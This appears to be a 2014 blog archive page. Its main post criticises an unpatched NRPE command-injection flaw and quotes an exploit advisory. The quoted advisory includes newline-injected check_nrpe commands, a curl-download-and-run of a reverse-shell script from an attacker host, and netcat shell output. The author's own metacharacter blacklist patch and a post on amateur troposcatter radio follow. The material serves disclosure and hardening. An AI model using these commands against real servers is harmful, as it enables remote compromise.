July 2014 Archives

NRPE Exploit and Solution

I don't often get on my soapbox, but this has gone on too long without resolution.

1. 4/20/2014, this was posted:


Recently, news emerged about a 'vulnerability' in Nagios's NRPE 'agent' - http://1337day.com/exploit/22156Essentially, you can use it to write files or items to /tmp (or any 'write all' directly ('777')) as below:

nagios@nagios-server:/usr/local/nagios/libexec# /usr/local/nagios/libexec/check_nrpe  -H myServer -c check_users -a "`echo -e "\x0a touch /tmp/vulntest "` #" 4
Then if you look on your 'monitored server', you'll see:

root@myServer:/proc# cd /tmp/
root@myServer:/tmp# ls -la
total 24
drwxrwxrwt 4 root root 4096 Apr 20 20:24 .
drwxr-xr-x 22 root root 4096 Apr 18 10:30 ..
-rw-r--r-- 1 nagios nagios 0 Apr 20 20:25 vulntest
This isnt best - as, has been seen, some pretty bad people can use this to put all kinds of bitcoin mining rubbish on there, amongst other things. Now, this only works because /tmp is writable to everyone (even on my test server, see below):

root@server:/# ls -la | grep tmp
drwxrwxrwt 4 root root 4096 Apr 20 20:24 tmp
So - answer number 1 - secure it! Now, if your savvy and use a config management tool like Puppet, Chef, Ansible etc then you can do this en-masse. For me, ive only got the one test server, so i just edited /etc/fstab:

/dev/sda7 /tmp ext3 nosuid,noexec,nodev,rw 0 0

This stops executables running from /tmp, neither any suid programs (more information here): http://www.techrepublic.com/blog/linux-and-open-source/secure-temporary-files-in-linux/171/#.Next step - answer number 2 - secure your boxes with a firewall. NRPE agents should ONLY be accessible from the Nagios monitoring server. The simplest way is to use iptables on the box:

iptables -I INPUT 2 -s -p tcp --dport 5666 -j ACCEPT
And reject NRPE from any other server. This means, only your Nagios server can access the box via 5666 - so, unless your monitoring server gets compromised - you should be in good shape.So - /tmp isnt writable, and no-one can run check_nrpe against the box except your monitoring server.Finally - look at SELinux if your using RHEL/Centos and the likes, and also look at this guide here: http://nagios.sourceforge.net/docs/3_0/security.htmlAt the end of the day, your network is only as secure as you make it - therefore i'd recommend a review of who can access your internal networks, HOW they got access (Firewalls, NAT, etc) and a review of your IPS/IDS if you are experiencing this issue.Also - this may be of interest in the future - check_by_ssh - http://www.techrepublic.com/blog/linux-and-open-source/remotely-monitor-servers-with-the-nagios-check-by-ssh-plugin/.We are currently looking at a patch for this issue in the coming days, so stay tuned to Twitter/Opsview forums for more on this issue.Sam MarshProduct ManagerOpsview

2. From http://1337day.com/exploit/22156
NRPE <= 2.15 - Remote Command Execution Vulnerability, 4/19/2014:

NRPE - Nagios Remote Plugin Executor  <= 2.15 Remote Command Execution
Nagios is an open source computer system monitoring, network monitoring and
infrastructure monitoring software application. Nagios offers monitoring and
alerting services for servers, switches, applications, and services.
It alerts the users when things go wrong and alerts them a second time when
the problem has been resolved.
The NRPE (Nagios Remote Plugin Executor) addon is designed to allow you to
execute Nagios plugins on remote Linux/Unix machines.
The main reason for doing this is to allow Nagios to monitor "local" resources
(like CPU load, memory usage, etc.) on remote machines. Since these public
resources are not usually exposed to external machines, an agent like NRPE must
be installed on the remote Linux/Unix machines.
Nagios Remote Plugin Executor (NRPE) contains a vulnerability that could
allow an attacker to remotely inject and execute arbitrary code on the host
under NRPE account (typically 'nagios').
The vulnerability is due to NRPE not properly sanitizing user input before
passing it to a command shell as a part of a configured command.
In order for an attacker to take advantage of the host NRPE must be compiled
and configured with command arguments.
No authentication is required to exploit this vulnerability if the NRPE port
has not been protected with a firewall.
NRPE expects definitions of commands in nrpe.cfg config file. Some of the
examples given in the config with hardcoded arguments are:
command[check_users]=/usr/local/nagios/libexec/check_users -w 5 -c 10
command[check_load]=/usr/local/nagios/libexec/check_load -w 15,10,5 -c 30,25,20
command[check_hda1]=/usr/local/nagios/libexec/check_disk -w 20% -c 10% -p /dev/hda1
when command arguments are enabled then user is also allowed to define
commands with variables like:
command[check_users]=/usr/local/nagios/libexec/check_users -w $ARG1$ -c $ARG2$
command[check_disk]=/usr/local/nagios/libexec/check_disk -w $ARG1$ -c $ARG2$ -p $ARG3$
This is often suggested for convenience in various nagios/nrpe setup tutorials
on the web.
To get a result from a defined command in NRPE daemon the following nrpe client
can be used with -a option that passes arguments:
# /usr/local/nagios/libexec/check_nrpe  -H -c check_users -a 4 4
USERS OK - 4 users currently logged in |users=4;4;4;0
in case check_users command was defined with arguments as shown above
NRPE would execute:
/usr/local/nagios/libexec/check_users -w 4 -c 4
on the local system.
As we can find in the source code of nrpe-2.15/src/nrpe.c NRPE daemon uses popen() function for
command execution:
/* executes a system command via popen(), but protects against timeouts */
int my_system(char *command,int timeout,int *early_timeout,char *output,int output_length){
                /* run the command */
using popen() results in the command being executed with the help of a command shell.
Before this function is reached however NRPE takes several measures to prevent
malicious command injection to the shell. That includes filtration based on a blacklist:
#define NASTY_METACHARS         "|`&><'\"\\[]{};"
/* make sure request doesn't contain nasties */
    syslog(LOG_ERR,"Error: Request contained illegal metachars!");
that prevents bash special characters like semicolon, pipe etc.
The code is also making sure that arguments do not contain bash command substitution
i.e. $(ps aux)
if(strstr(macro_argv[x],"$(")) {
    syslog(LOG_ERR,"Error: Request contained a bash command substitution!");
    return ERROR;
Despite these checks the code is vulnerable to command injection as bash shell allows
for multiple command execution if commands are separated by a new line.
None of the checks examines the arguments for an occurrence of a new line character: 0x0A
To execute an arbitrary command an attacker could simply add a new line character after
a parameter and follow it with his own command.
To run touch /tmp/vulntest command an attacker could use the check_nrpe client with arguments:
# /usr/local/nagios/libexec/check_nrpe  -H -c check_users -a "`echo -e "\x0a touch /tmp/vulntest "` #" 4
which make NRPE daemon run the following series of commands:
/usr/local/nagios/libexec/check_users -w <new_line>
touch /tmp/vulntest
# -c 4
and a file /tmp/vulntest would be created with nagios user as the owner. The hash character is to comment
out the the rest of the arguments.
An attacker gets a limited set of commands as most of the metacharacters are prohibited by the
blacklist. So for example it's difficult to create new files in the system without using > symbol etc.
An attacker could however download a snippet of perl/python etc. code from the web by using wget or
curl command and get a reverse shell. This would allow unrestricted access to the command line:
---------[revshell.pl on attackers-server]---------
use Socket;
#attackers ip to connect back to
    exec("/bin/sh -i");
/usr/local/nagios/libexec/check_nrpe  -H -c check_users -a "`echo -e "\x0a curl -o /tmp/tmp_revshell http://attackers-server/revshell.pl \x0a perl /tmp/tmp_revshell # "` 4 "
[attacker@ ]# nc -v -l 8080
Connection from port 8080 [tcp/ddi-tcp-1] accepted
sh-4.1$ id
uid=501(nagios) gid=501(nagios) groups=501(nagios),502(nagcmd)
sh-4.1$ cat /etc/passwd | head -n 4 ; pwd
sh-4.1$ ls -l /tmp/tmp_revshell
-rw-rw-r-- 1 nagios nagios 269 Apr 17 05:14 /tmp/tmp_revshell
sh-4.1$ rm -f /tmp/tmp_revshell
An attacker could exploit the vulnerability to gain access to the system
in the context of a nagios user this could lead to further compromise
of the server.
Current version of NRPE 2.15 and older are vulnerable.
Disable command arguments if possible.
Protect access to NRPE port and only allow access from a trusted
nagios server.
Install updated version of NRPE when it becomes available.

# F8888C01AE0BB66C   1337day.com [2014-07-24]   4F480D1B5D7C5F9D #
3. From http://exchange.nagios.org/directory/Addons/Monitoring-Agents/NRPE--2D-Nagios-Remote-Plugin-Executor/details :

Current Version
Last Release Date
Compatible With
  • Nagios 1.x
  • Nagios 2.x
  • Nagios 3.x

4. Yes, so that's V2.15, released on 09-06-2013, found sploitable on 4-19-2014, responded to on 4-20-2014... and not fixed by 07-29-2014.

I've written my own patch and applied it to systems I work on:

#define NASTY_METACHARS         "\x7c\x60\x26\x3e\x3c\x27\x22\x24\x5c\x5b\x5d\x7b\x7d\x28\x29\x3b\x2a\x0a\x0d\x0f\x3f\x2e"
 *  Nasty Characters as defined by kirby:
 *  pipe, backtick, ampersand, lessthan, greaterthan,\
 *  singlequote, doublequote, backslash, brackets,\
 *  curlybraces, parenthesis, semicolon, asterisk, ASCII \
 *  \x01 (start of heading) through \0x1f (unit separator),\
 *  (<- skipped) question mark, delete, dollar sign,
 *  period.
 * \x04 is EOF; exclude \! because it's the separator.

The fact that this issue has been unaddressed for three months and it is one of the central daemons to Nagios is reprehensible. Additionally, the initial text of the #define given includes a second error in it: an unescaped single quote. I sidestepped the escape issue by declaring them all as hexadecimal from the ASCII chart.  This speaks of two glaring problems: 1) no code review, 2) no code testing, and 3) no actual security testing or analysis.

While Sam Marsh is right, that the daemon should be firewalled off from all hosts except for the intended target / host, the fact that this is considered as a remedial measure is also unacceptable. Security should be through defense in depth, not a hurried response to the crisis of the day. Security should be involved from the very beginning, particularly where network communications are involved.

The fact that this product is being sold for money means that at the very least, a gaping hole like this should be addressed post-haste.

Ham Radio's Next Retro Frontier: Tropo

While recently reading about the AN/TRC-170, it occurred to me that it is more than possible for amateur radio operators to use this technology much like they do Near Vertical Incident Skywave (NVIS) propagation over HF radio.

Wikipedia page on Troposcatter Communications.

Basically, Ma Bell and the military used this technology to talk around the world mostly reliably. The old systems used 1 to 10kW klystrons and massive antennas (40dB to 60 dB at 2GHz, or bigger than your average billboard), between 345 - 988 MHz, 1.7 - 2.1 GHz, and 4.4 - 5.0 GHz.  (Communications and Information Systems, by Michael John Ryan, Michael Frater)
Rough calculations figure that the systems only transmitted a signal about 128 KHz wide (32 channels at 4 KHz, SSB being the most common mode over microwave). Selective fading over distance caused noise so the systems often used double or quadruple diversity systems (space and polarization) to mitigate and assure link quality. Documentations by Bell Labs indicates that FDM signals were used to FM modulate a carrier which resulted in less noise but required higher transmitter power.

One factor of troposcatter is that the systems need an unobstructed view of the horizon. This may be difficult to arrange, and existing communications systems in the main lobe of the antenna may be negatively affected, requiring immediate mitigation.

The AN/TRC-170's klystron amplifier has a minimum power output of 2 kW between 4.4 - 5.0 GHz and the set is typically equipped with two six foot or ten foot dishes. It is capable of full-duplex operation, and can transmit about 16Mbit/s of data over 3.5 to 7.0 MHz (QAM or QPSK, two bits per point in the constellation). Armchair calculation gives results that it likely a QPSK signal with 7/8 FEC, the occupied bandwidth is 3.4MHz, which matches up with some Reed-Solomon thrown into the mix. (QPSK at 4MHz results in an occupied spectrum of 2MHz and line codes increase the link speed required (such as how 8b10b turns 100 Mbit/s of data into 125 MHz of physical link).

The AN/TRC-170(V) is capable of providing connectivity to a mixture of up to 32 analog (includes FSK), or digital, local subscriber channels and up to 4 TRI-TAC Digital Trunk Groups (DTG). A single TRI-TAC group consisting of up to 144 subscriber loops (2304 KB/s or 4608 KB/s) can be configured to operate using external equipment vans to provide the high data rate DTG.

This system is probably capable of operating at extremely low Eb/N0s, which it looks like the minimum for this mode is 6 to 9 dB.

Tropo link calculator: http://www.bobatkins.com/radio/scatter2.html

Amateur use of this technology can be fulfilled as follows:

  • Transmitter Power Output Limit is 1.5 kW at the antenna
  • Unlimited antenna gain allowed
  • OET 65 must be complied with
  • Eight-foot dishes from C-band TVRO satellite dishes may be used with tripods or permanently mounted
  • Band choice is limited by antenna gain since transmitter power is limited at 1.5kW
  • Any band may be used if the propagation supports it (and the MUF does not)
  • Practical contacts have been made on 2m, 70cm, and up.
  • 70cm, 33cm, 23cm, 2.4GHz, 3.4GHz, and 5.6 - 5.9 GHz may be most useful depending on amplifier availability.
  • Modulation of a magnetron might be a possibility using phase shifters, but spectral purity requires improvement. A klystron is actually two magnetrons with a drift tube between them holding the electronic beam in the focus coils.
  • Low S/N Ratio is not an issue for CW or narrow bandwidth SSB, ACSSB, AM-compatible SSB, or BPSK. Digital modes with FEC make this most useful.
  • Dual antennas or arrays may be most useful due to power levels present combined with sensitive receiver electronics. 
  • This mode is most useful in rural areas where urban noise is not present
  • Fine control of azimuth and elevation may be necessary as well as prior coordination of likely station locations and/or GPS coordinates to effectively establish communications. 
  • Limitations on amateur use is mostly related to transmit power limits, not antenna size, location, or number.
  • Workarounds for power limits may be deploying multiple transceiver sets at the same location or close by each other operating under the same callsign much like Field Day.
  • SSB and ACSSB carrying digital modes may be the best way to use this mode.

Safety is another factor; a ten-foot diameter Ku-band microwave dish weighs 900 lbs; a tower to hold such an object aloft is typically large and expensive.

About this Archive

This page is an archive of entries from July 2014 listed from newest to oldest.

May 2014 is the previous archive.

August 2014 is the next archive.

Find recent content on the main index or look in the archives to find all content.